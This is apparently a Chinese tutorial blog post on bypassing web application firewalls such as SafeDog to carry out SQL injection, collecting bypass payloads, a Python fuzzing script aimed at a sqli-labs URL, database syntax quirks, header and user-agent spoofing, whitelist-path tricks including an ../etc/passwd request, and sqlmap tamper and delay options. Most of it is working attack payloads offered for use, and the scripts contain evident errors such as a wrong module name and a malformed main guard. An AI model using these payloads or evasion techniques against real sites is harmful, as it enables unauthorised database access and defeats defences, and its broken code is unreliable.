WEB漏洞-SQL注入之SQLMAP绕过WAF

前言

在攻防实战中,往往需要账务一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活的去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御测试进行漏洞利用。
在这里插入图片描述

市面上的防护软件:阿里云盾,安全狗,阿里云盾
注意:

  1. 遇到WAF先手测,工具一扫就会封IP。
  2. 测试绕过就是研究哪方面没有进行过滤,钻空子
  3. 提交方式绕过WAF,前提是网站支持各种方式的接受如request的话,我们利用post和get都可以提交,get有防护但是post没有防护的话,我们可以转化提交发方式
  4. 等价函数,特殊函数:既需要绕过软件防护的匹配规则,还要不干扰语句的运行结果,使得我们的注入语句正常执行
  5. 反序列化的格式进行绕过,注释符混用
  6. %0a换行 %23注释#

部分bypass sqlinject payload

?id= 1 union %23a%0A select 1,2,3  
匹配到union然后注释,安全狗认为句子结束,  union a select 狗子不会拦截
在mysql中的样子是
union #a                         //写#屏蔽a,%0A换行让union select执行
select 1,2,3
注释符混用,参数污染绕狗子	
?id=1/*&id=-1 unio select 1,2,3 #*/ 
在apche中get参数污染只接受后面的参数            /**/ SQL里面的注释符
1/*&id=-1 unio select 1,2,3 #*/        狗子接收的
安全狗认为/**/是被注释掉无用的东西,所以没有理会
-1 unio select 1,2,3 #*/       执行的语句  (内联注释)
然而apche接受的是上面这个语句,#将后面的都注释掉了
狗子匹配第一条,其中的注释符号起到注释作用,正常情况没法执行,安全狗直接忽略,
参数污染导致的真实数据是执行的语句,能够正常执行SQL语句
id=1 union/*%00*/%23a%0a/*!/*!select 1,2,3*/;%23
id=1 union/*%00*/%23a%0a/*!/*!select%201,database%23x%0A(),3*/;%23

id=-1%20union%20/*!44509select*?%201,2,3%23
id=-1%20union%20/*!44509select*?%201,%23x%0A/*!database*?(),3%23

id=1?**&id=-1%20union%20select%201,2,3%23*/

id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

版本号绕过,现在不行了

?id=-1%20union%20/*!44509%20select*/%201,2,3

脚本

import request,time

url='http://127.0.0.1/sqlilabs/less-2/?id=-1'
union = 'union'
select = 'select'
num = '1,2,3'
a = {'%0a','%23'}
aa= {'x'}
aaa = {'%0a','%23'}
b = '/*!'
c = '*/'
def bypass():
	for du in a:
		for dus in aa:
			for duss in aaa:
				for two in range(44500,44600):  #版本号
					urls=url+du+dus+duss+b+str(two)+union+c+du+dus+duss+select+du+dus+duss+num

					#urls = url + du +dus +duss+union +du +dus +duss +b +str(two)+select+c +du+dus+duss+num
					try:
						result = request.get(urls).text
						len_r = len(result)
						if (result.find('safedog')==-1):
							print('bypass url addres :' + urls + '|' +str(len_r))
							if len_r == 715:
								fp = open('url.txt','a+')
								fp.write(urls+'\n')
								fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0,1)
if _name_ == '_main_':
	print('fuzz start!')
	bypass()

在这里插入图片描述

fuzz模糊测试,类似爆破密码。某个点生成字典,不断测试。写好脚本和字典批量化进行测试

import request
import time
url = 'http://1.1.1.1/sqli-labs/less2/?id=1'
for sqlin in open('uniobselect.txt')
urls = url + sqlin
result = requests.get(urls).text
if (result.find('safedog')==-1):
	print(sqlin)
time.sleep(-1)
	大小写/关键字替换
	id=1 UnIoN/**/SeLeCT 1,user()
	hex() bin() 等价于ascii
	sleep()等价于benchmark()
	Mid()substring() 等价于 substr()
	@@user() 等价于User()
	@@version等价于version()
	各种编码:
		大小写,URL,hex,%0A等
	注释使用:
		// --  --+ # /**/ + :%00 /!**/等
	再次循环
		union==uunionnion
	等价替换:
		user()=@@user() and=& or=| ascii=hex等
	参数污染:
		?id=1&id=2&id=3
	编码及解码:
		s->%73->%25%37%33
	更改请求提交方式:
		GET,POST,COOKIE
		POST->multipart/from-data
		
	中间件参数污染

数据库特性

mysql

(1)mysql注释有三种,#,/*...*/,-- ... (--后加空格)
(2)空格符:0x9a,0x0a-0x0d,0x20,0xa0
(3)特殊符号 0a%换行符
可结合注释符使用 %23%0a,%2d%2d%0a
(4)内联注释
/*! union12345select*/ 1,user()   //数字范围1000-50540
(5)mysql黑语法

select {x username} from {x11 test.admin};

sqlsever

 (1)用来注释掉后查询的其余部分
/*   c语言风格注释
-- sql注释
;00%空字节
 (2)空白符:[0x01-0x20]
 (3)特殊符号:%3a  冒号

id = 1 union:select 1,2 from:admin
(4)函数变型:如db_name [空白字符]()

逻辑层

(1)云waf防护,一般我们会尝试查找真实站点的真实ip,从而绕过CDN防护
(2)当提交,GET,POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试bypass,
(3)http和https同时开放服务,没有做http到https的强制跳转,导致https有waf防护,http没有防护,直接访问http站点绕过防护
(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害输入,从而导致bypass
比如:id=1%00and 1=2 union select 1,2,column_name from imformation_schema.columns 

方式一:IP白名单
通过对网站ip地址的伪造,知道对方网站ip地址,那就默认为ip地址为白名单。
要看对方接受数据包的方式
如果对方是从网络层获取的ip,用下面的测试方法一般是伪造不来,因为对方不会接受,或者说不已下面这个为标准
如果是获取客户端的ip,这样就有可能存在伪造ip绕过的情况。
测试方法:修改http的header来by pass waf
X-forwarded-for
X-remote-IP
X-remote-addr
X-Real-IP

方式二:静态资源
特定的后缀资源静态请求,常见的静态文件,(.js .jpg .swf .css 等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。
在这里插入图片描述绕过,他以为后面的参数是给t.txt的,所以进行放行,但是现在不行了

index.php/t.txt?id=1%20and%201=1

无waf情况下
在这里插入图片描述

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin/php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=…/etc/passwd绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1.根据UserAgent
2.通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher (firefox 附加组件),下载地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
伪造成百度爬虫
在这里插入图片描述

FUZZ绕过脚本结合编写测试
阿里云盾防SQL注入简要分析
在这里插入图片描述

–tamper指定脚本
在这里插入图片描述
发现注入不了,也不是流量过快原因,因为没开启流量拦截,进行代理查看下数据包,发现user-agent是sqlmap,然后打开web狗发现会拦截user-agent是sqlmap的数据包,日志也发现是user-agent的问题
在这里插入图片描述
在这里插入图片描述

那我们可以修改user-agent
随机agent
在这里插入图片描述

获取表名
在这里插入图片描述

安全狗开启流量拦截后被拦截
如何防止流量拦截
开代理池、延迟和伪百度爬虫

指定白名单agent绕过流量拦截
在这里插入图片描述

延迟参数delay
在这里插入图片描述
如果sqlmap上面没有我们需要的功能参数,我们该怎么办
其他参数狗子检测时,先保存为txt文本,然后-r,进行绕过,也可以中转注入进行本地数据包修改而后注入,本地搭建脚本(请求数据包自定义编写)
也可以写入本地php数据包,修改header头
在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值